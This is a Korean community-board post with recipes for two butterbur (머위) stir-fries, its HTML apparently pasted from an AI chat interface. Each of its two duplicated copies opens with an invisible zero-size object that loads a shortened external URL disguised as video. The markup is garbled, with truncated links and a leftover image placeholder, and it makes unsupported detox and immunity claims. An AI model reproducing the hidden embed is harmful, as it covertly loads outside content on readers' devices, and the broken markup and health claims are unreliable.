<![CDATA[
<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4"></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:42">머위대나물볶음 &amp; 머위들깨가루볶음: 봄 향기 가득한 특별한 밥상</h2><p data-sourcepos="3:1-3:22"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0d3267e1444b3eec&quot;,&quot;c_ee82dd011cd56d45&quot;,null,&quot;rc_b2e4867e4bdae8b4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6852033"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="머위대나물볶음 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSwdrj-LL9JOr1J7C5FGZujVjkpXkg3udOWT0kKnbn5z1rKXMXD0KCUhyw4rLmC"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6852033" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0d3267e1444b3eec&quot;,&quot;c_ee82dd011cd56d45&quot;,null,&quot;rc_b2e4867e4bdae8b4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 머위대나물볶음 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="5:1-5:23"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0d3267e1444b3eec&quot;,&quot;c_ee82dd011cd56d45&quot;,null,&quot;rc_b2e4867e4bdae8b4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6794453"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="머위들깨가루볶음 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQDRwARATZwmLtxcZhIsBZlc6ucgWSkhENSvxZ-RgtOhMKg4NNQF9Nd7HzvO_eq"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6794453" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0d3267e1444b3eec&quot;,&quot;c_ee82dd011cd56d45&quot;,null,&quot;rc_b2e4867e4bdae8b4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 머위들깨가루볶음 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="7:1-7:159">봄이면 어김없이 찾아오는 제철 채소, 머위! 쌉싸름하면서도 향긋한 맛이 일품인 머위는 다양한 요리에 활용되지만, 특히 볶음 요리는 머위의 독특한 풍미를 더욱 깊게 느낄 수 있는 방법입니다. 오늘은 머위를 이용한 두 가지 볶음 요리, 머위대나물볶음과 머위들깨가루볶음을 소개해 드릴게요.</p><h3 data-sourcepos="9:1-9:11">머위대나물볶음</h3><p data-sourcepos="11:1-11:6"><strong>재료</strong></p><ul data-sourcepos="13:1-21:0">
<li data-sourcepos="13:1-13:11">머위대: 300g</li>
<li data-sourcepos="14:1-14:8">소금: 약간</li>
<li data-sourcepos="15:1-15:10">들기름: 2큰술</li>
<li data-sourcepos="16:1-16:12">다진 마늘: 1큰술</li>
<li data-sourcepos="17:1-17:9">간장: 1큰술</li>
<li data-sourcepos="18:1-18:12">국간장: 1/2큰술</li>
<li data-sourcepos="19:1-19:9">참기름: 약간</li>
<li data-sourcepos="20:1-21:0">통깨: 약간</li>
</ul><p data-sourcepos="22:1-22:9"><strong>만드는 법</strong></p><ol data-sourcepos="24:1-28:0">
<li data-sourcepos="24:1-24:62">머위대는 껍질을 벗기고 먹기 좋은 길이로 잘라 소금에 살짝 절인 후 흐르는 물에 헹궈 물기를 꼭 짜줍니다.</li>
<li data-sourcepos="25:1-25:37">달궈진 팬에 들기름을 두르고 다진 마늘을 볶아 향을 내줍니다.</li>
<li data-sourcepos="26:1-26:38">여기에 머위대를 넣고 간장, 국간장을 넣어 중불에서 볶아줍니다.</li>
<li data-sourcepos="27:1-28:0">머위대가 어느 정도 익으면 참기름과 통깨를 뿌려 마무리합니다.</li>
</ol><h3 data-sourcepos="29:1-29:12">머위들깨가루볶음</h3><p data-sourcepos="31:1-31:6"><strong>재료</strong></p><ul data-sourcepos="33:1-40:0">
<li data-sourcepos="33:1-33:11">머위잎: 200g</li>
<li data-sourcepos="34:1-34:10">들기름: 2큰술</li>
<li data-sourcepos="35:1-35:12">다진 마늘: 1큰술</li>
<li data-sourcepos="36:1-36:9">간장: 1큰술</li>
<li data-sourcepos="37:1-37:11">들깨가루: 2큰술</li>
<li data-sourcepos="38:1-38:8">소금: 약간</li>
<li data-sourcepos="39:1-40:0">참기름: 약간</li>
</ul><p data-sourcepos="41:1-41:9"><strong>만드는 법</strong></p><ol data-sourcepos="43:1-47:0">
<li data-sourcepos="43:1-43:38">머위잎은 끓는 물에 살짝 데쳐 찬물에 헹궈 물기를 꼭 짜줍니다.</li>
<li data-sourcepos="44:1-44:37">달궈진 팬에 들기름을 두르고 다진 마늘을 볶아 향을 내줍니다.</li>
<li data-sourcepos="45:1-45:33">여기에 머위잎을 넣고 간장을 넣어 중불에서 볶아줍니다.</li>
<li data-sourcepos="46:1-47:0">머위잎이 어느 정도 익으면 들깨가루를 넣고 소금으로 간을 맞춘 후 참기름을 뿌려 마무리합니다.</li>
</ol><p data-sourcepos="48:1-48:5"><strong>팁</strong></p><ul data-sourcepos="50:1-53:0">
<li data-sourcepos="50:1-50:46">머위는 쓴맛이 강하므로 데칠 때 소금을 약간 넣어주면 쓴맛을 잡을 수 있습니다.</li>
<li data-sourcepos="51:1-51:34">머위잎은 부드러운 식감을 위해 짧게 데치는 것이 좋습니다.</li>
<li data-sourcepos="52:1-53:0">들깨가루 대신 볶은 아몬드 가루를 넣어도 고소한 풍미를 더할 수 있습니다.</li>
</ul><p data-sourcepos="54:1-54:13"><strong>머위 요리의 효능</strong></p><p data-sourcepos="56:1-56:95">머위는 봄철 잃기 쉬운 입맛을 돋우고, 비타민과 무기질이 풍부하여 면역력 강화에 도움을 줍니다. 또한, 혈액순환을 개선하고, 해독 작용에도 효과적이라고 알려져 있습니다.</p><p data-sourcepos="58:1-58:13"><strong>다양한 머위 요리</strong></p><p data-sourcepos="60:1-60:92">머위는 볶음 외에도 나물, 튀김, 장아찌 등 다양한 요리에 활용할 수 있습니다. 머위의 독특한 향과 쌉싸름한 맛을 즐기고 싶다면, 다양한 머위 요리에 도전해 보세요.</p><p data-sourcepos="62:1-62:23"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0d3267e1444b3eec&quot;,&quot;c_ee82dd011cd56d45&quot;,null,&quot;rc_b2e4867e4bdae8b4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=GkFrEUf7ZOA"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="머위 요리 모음 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQQ7TJ98WnMZn6vFrGnXi0-WcyjTe-h-PPbPxb0zkZkStYgbZ_PHV3ZYPZoTsQ3"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=GkFrEUf7ZOA" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0d3267e1444b3eec&quot;,&quot;c_ee82dd011cd56d45&quot;,null,&quot;rc_b2e4867e4bdae8b4&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.youtube.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 머위 요리 모음 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="64:1-64:36"><strong>지금 바로 봄 향기 가득한 머위 요리를 만들어 즐겨보세요!</strong></p><p data-sourcepos="66:1-66:28"><strong>#머위 #머위요리 #봄나물 #건강식단 #집밥</strong></p><p data-sourcepos="68:1-68:48"><strong> 출처:</strong> 픽사베이, Unsplash 등 (실제 을 삽입해야 합니다.)</p><p data-sourcepos="70:1-70:61"><strong>참고:</strong> 위 레시피는 기본적인 조리법이며, 개인의 취향에 따라 재료와 양을 조절하여 만들 수 있습니다.</p><p data-sourcepos="72:1-72:86"><strong>주의:</strong> 머위는 알레르기 반응을 일으킬 수 있으므로, 처음 섭취하는 경우에는 소량으로 시작하여 몸에 이상이 없는지 확인한 후 섭취하는 것이 좋습니다.</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:42">머위대나물볶음 & 머위들깨가루볶음: 봄 향기 가득한 특별한 밥상</h2><p data-sourcepos="3:1-3:22"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_0d3267e1444b3eec","c_ee82dd011cd56d45",null,"rc_b2e4867e4bdae8b4",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6852033"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="머위대나물볶음 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSwdrj-LL9JOr1J7C5FGZujVjkpXkg3udOWT0kKnbn5z1rKXMXD0KCUhyw4rLmC"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6852033" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_0d3267e1444b3eec","c_ee82dd011cd56d45",null,"rc_b2e4867e4bdae8b4",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 머위대나물볶음 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="5:1-5:23"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_0d3267e1444b3eec","c_ee82dd011cd56d45",null,"rc_b2e4867e4bdae8b4",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6794453"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="머위들깨가루볶음 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQDRwARATZwmLtxcZhIsBZlc6ucgWSkhENSvxZ-RgtOhMKg4NNQF9Nd7HzvO_eq"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6794453" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_0d3267e1444b3eec","c_ee82dd011cd56d45",null,"rc_b2e4867e4bdae8b4",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 머위들깨가루볶음 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="7:1-7:159">봄이면 어김없이 찾아오는 제철 채소, 머위! 쌉싸름하면서도 향긋한 맛이 일품인 머위는 다양한 요리에 활용되지만, 특히 볶음 요리는 머위의 독특한 풍미를 더욱 깊게 느낄 수 있는 방법입니다. 오늘은 머위를 이용한 두 가지 볶음 요리, 머위대나물볶음과 머위들깨가루볶음을 소개해 드릴게요.</p><h3 data-sourcepos="9:1-9:11">머위대나물볶음</h3><p data-sourcepos="11:1-11:6"><strong>재료</strong></p><ul data-sourcepos="13:1-21:0">
<li data-sourcepos="13:1-13:11">머위대: 300g</li>
<li data-sourcepos="14:1-14:8">소금: 약간</li>
<li data-sourcepos="15:1-15:10">들기름: 2큰술</li>
<li data-sourcepos="16:1-16:12">다진 마늘: 1큰술</li>
<li data-sourcepos="17:1-17:9">간장: 1큰술</li>
<li data-sourcepos="18:1-18:12">국간장: 1/2큰술</li>
<li data-sourcepos="19:1-19:9">참기름: 약간</li>
<li data-sourcepos="20:1-21:0">통깨: 약간</li>
</ul><p data-sourcepos="22:1-22:9"><strong>만드는 법</strong></p><ol data-sourcepos="24:1-28:0">
<li data-sourcepos="24:1-24:62">머위대는 껍질을 벗기고 먹기 좋은 길이로 잘라 소금에 살짝 절인 후 흐르는 물에 헹궈 물기를 꼭 짜줍니다.</li>
<li data-sourcepos="25:1-25:37">달궈진 팬에 들기름을 두르고 다진 마늘을 볶아 향을 내줍니다.</li>
<li data-sourcepos="26:1-26:38">여기에 머위대를 넣고 간장, 국간장을 넣어 중불에서 볶아줍니다.</li>
<li data-sourcepos="27:1-28:0">머위대가 어느 정도 익으면 참기름과 통깨를 뿌려 마무리합니다.</li>
</ol><h3 data-sourcepos="29:1-29:12">머위들깨가루볶음</h3><p data-sourcepos="31:1-31:6"><strong>재료</strong></p><ul data-sourcepos="33:1-40:0">
<li data-sourcepos="33:1-33:11">머위잎: 200g</li>
<li data-sourcepos="34:1-34:10">들기름: 2큰술</li>
<li data-sourcepos="35:1-35:12">다진 마늘: 1큰술</li>
<li data-sourcepos="36:1-36:9">간장: 1큰술</li>
<li data-sourcepos="37:1-37:11">들깨가루: 2큰술</li>
<li data-sourcepos="38:1-38:8">소금: 약간</li>
<li data-sourcepos="39:1-40:0">참기름: 약간</li>
</ul><p data-sourcepos="41:1-41:9"><strong>만드는 법</strong></p><ol data-sourcepos="43:1-47:0">
<li data-sourcepos="43:1-43:38">머위잎은 끓는 물에 살짝 데쳐 찬물에 헹궈 물기를 꼭 짜줍니다.</li>
<li data-sourcepos="44:1-44:37">달궈진 팬에 들기름을 두르고 다진 마늘을 볶아 향을 내줍니다.</li>
<li data-sourcepos="45:1-45:33">여기에 머위잎을 넣고 간장을 넣어 중불에서 볶아줍니다.</li>
<li data-sourcepos="46:1-47:0">머위잎이 어느 정도 익으면 들깨가루를 넣고 소금으로 간을 맞춘 후 참기름을 뿌려 마무리합니다.</li>
</ol><p data-sourcepos="48:1-48:5"><strong>팁</strong></p><ul data-sourcepos="50:1-53:0">
<li data-sourcepos="50:1-50:46">머위는 쓴맛이 강하므로 데칠 때 소금을 약간 넣어주면 쓴맛을 잡을 수 있습니다.</li>
<li data-sourcepos="51:1-51:34">머위잎은 부드러운 식감을 위해 짧게 데치는 것이 좋습니다.</li>
<li data-sourcepos="52:1-53:0">들깨가루 대신 볶은 아몬드 가루를 넣어도 고소한 풍미를 더할 수 있습니다.</li>
</ul><p data-sourcepos="54:1-54:13"><strong>머위 요리의 효능</strong></p><p data-sourcepos="56:1-56:95">머위는 봄철 잃기 쉬운 입맛을 돋우고, 비타민과 무기질이 풍부하여 면역력 강화에 도움을 줍니다. 또한, 혈액순환을 개선하고, 해독 작용에도 효과적이라고 알려져 있습니다.</p><p data-sourcepos="58:1-58:13"><strong>다양한 머위 요리</strong></p><p data-sourcepos="60:1-60:92">머위는 볶음 외에도 나물, 튀김, 장아찌 등 다양한 요리에 활용할 수 있습니다. 머위의 독특한 향과 쌉싸름한 맛을 즐기고 싶다면, 다양한 머위 요리에 도전해 보세요.</p><p data-sourcepos="62:1-62:23"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_0d3267e1444b3eec","c_ee82dd011cd56d45",null,"rc_b2e4867e4bdae8b4",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=GkFrEUf7ZOA"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="머위 요리 모음 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQQ7TJ98WnMZn6vFrGnXi0-WcyjTe-h-PPbPxb0zkZkStYgbZ_PHV3ZYPZoTsQ3"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=GkFrEUf7ZOA" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_0d3267e1444b3eec","c_ee82dd011cd56d45",null,"rc_b2e4867e4bdae8b4",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.youtube.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 머위 요리 모음 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="64:1-64:36"><strong>지금 바로 봄 향기 가득한 머위 요리를 만들어 즐겨보세요!</strong></p><p data-sourcepos="66:1-66:28"><strong>#머위 #머위요리 #봄나물 #건강식단 #집밥</strong></p><p data-sourcepos="68:1-68:48"><strong> 출처:</strong> 픽사베이, Unsplash 등 (실제 을 삽입해야 합니다.)</p><p data-sourcepos="70:1-70:61"><strong>참고:</strong> 위 레시피는 기본적인 조리법이며, 개인의 취향에 따라 재료와 양을 조절하여 만들 수 있습니다.</p><p data-sourcepos="72:1-72:86"><strong>주의:</strong> 머위는 알레르기 반응을 일으킬 수 있으므로, 처음 섭취하는 경우에는 소량으로 시작하여 몸에 이상이 없는지 확인한 후 섭취하는 것이 좋습니다.</p></div>
</div></div>
<!-- -->
]]>
카페 게시글
일반 게시판
머위대나물볶음 머위들깨가루볶음 만들기 담백고소해요 ~~
방글방글웃음
추천 0
조회 5
24.11.30 01:30
댓글 0
다음검색
